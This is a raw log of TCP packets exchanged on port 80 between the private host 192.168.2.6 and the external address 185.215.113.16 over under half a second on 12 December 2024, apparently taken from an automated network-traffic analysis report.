Dec 12, 2024 21:50:29.328418016 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.328469038 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.328509092 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.328547001 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.329449892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.329493046 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.329607010 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.329648018 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.330501080 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.330565929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.330610991 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.330653906 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.331542969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.331603050 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.331660032 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.331695080 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.332647085 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.332691908 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.332726955 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.332809925 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.333633900 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.333792925 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.333834887 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.334692001 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.334764004 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.334840059 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.334881067 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.335756063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.335798979 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.335841894 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.335884094 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.336802006 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.336843014 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.336885929 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.336924076 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.337829113 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.337867975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.337944984 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.337980032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.338949919 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.338989973 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.339660883 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.339703083 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.339914083 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.339951992 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.340018988 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.340148926 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.341008902 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.341047049 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.341094017 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.341133118 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.342094898 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.342145920 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.342255116 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.342299938 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.343225956 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.343272924 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.343425989 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.343465090 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.344413996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.344455004 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.344547987 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.344583035 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.345396996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.345458031 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.345494032 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.345578909 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.346293926 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.346338034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.346358061 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.346393108 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.347407103 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.347446918 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.347567081 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.347608089 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.348339081 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.348422050 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.348459005 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.348476887 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.349364042 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.349405050 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.349698067 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.349735975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.350569963 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.350740910 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.350786924 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.351824045 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.351882935 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.352044106 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.352113962 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.352895021 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.352957010 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.352967978 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.353004932 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.353832960 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.353864908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.353905916 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.354681969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.354798079 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.354839087 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.354877949 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.355739117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.355781078 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.355845928 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.355881929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.356758118 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.356808901 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.357146025 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.357186079 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.357861996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.357875109 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.357903957 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.357922077 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.358921051 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.358972073 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.359057903 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.359107971 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.360414028 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.360459089 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.360632896 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.360676050 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.361901999 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.362062931 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.362095118 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.362168074 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.362904072 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.362974882 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.363106012 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.363219023 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.363765001 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.363820076 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.363863945 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.363914013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.364582062 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.364640951 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.501746893 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.501863956 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.501925945 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.502032042 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.502266884 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.502475977 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.502536058 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.503525972 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.503591061 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.503746033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.503787994 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.504676104 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.504729033 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.504786968 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.504823923 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.505657911 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.505760908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.505773067 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.505815983 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.506611109 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.506664991 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.506807089 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.507189989 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.507699966 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.507759094 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.507796049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.508744955 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.508835077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.508996964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.509720087 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.509793043 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.510622025 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.510677099 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.510720968 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.511609077 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.511645079 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.511816025 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.512145996 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.512722015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.512768030 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.512789965 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.512830973 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.513684988 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.513791084 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.513847113 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.514796019 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.514848948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.514934063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.514980078 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.515835047 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.515882015 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.515898943 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.516000032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.516815901 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.516865015 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.516926050 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.517632961 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.517987967 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.518085957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.518347979 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.518917084 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.518958092 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.519004107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.519042015 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.519959927 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.520010948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.520240068 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.520328999 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.521029949 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.521182060 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.521223068 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.522079945 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.522170067 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.522528887 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.523238897 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.523298979 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.523328066 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.523359060 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.524226904 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.524394035 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.524462938 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.525196075 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.525250912 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.525387049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.525433064 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.526218891 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.526278019 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.526341915 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.526582956 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.527292013 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.527347088 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.527405977 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.527544022 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.528311968 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.528361082 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.528429985 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.528470993 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.529414892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.529475927 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.529505014 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.529643059 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.530519009 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.530581951 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.530617952 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.531663895 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.531707048 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.531729937 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.532057047 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.532664061 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.532716990 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.532872915 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.532938004 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.533651114 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.533808947 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.533854008 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.534645081 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.534761906 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.534809113 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.535696030 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.535741091 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.535883904 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.535924911 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.536885023 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.536931992 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.537028074 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.537097931 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.537792921 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.537883043 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.537918091 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.538014889 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.538816929 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.539062023 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.539900064 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.539943933 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.540010929 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.540205002 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.541028023 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.541081905 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.541124105 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.541193008 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.542047977 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.542093992 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.542099953 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.542135954 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.543023109 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.543068886 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.543147087 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.543232918 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.544106960 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.544157982 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.544219017 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.544274092 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.545166969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.545212984 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.545300961 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.545375109 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.546237946 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.546305895 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.546350002 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.547244072 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.547295094 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.547374010 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.547413111 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.548266888 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.548311949 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.548388004 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.548472881 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.549411058 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.549453974 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.549489975 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.549530983 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.550355911 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.550396919 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.550466061 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.550518990 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.551512003 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.551610947 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.551657915 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.552447081 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.552501917 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.552570105 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.552608967 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.553533077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.553579092 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.553615093 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.554586887 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.554634094 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.554761887 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.554966927 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.555689096 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.555736065 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.555975914 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.556018114 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.694967031 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.695065975 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.695101023 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.695139885 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.695384026 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.695431948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.695460081 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.695532084 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:29.696496964 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.696615934 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.697482109 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:29.697529078 CET	49919	80	192.168.2.6	185.215.113.16
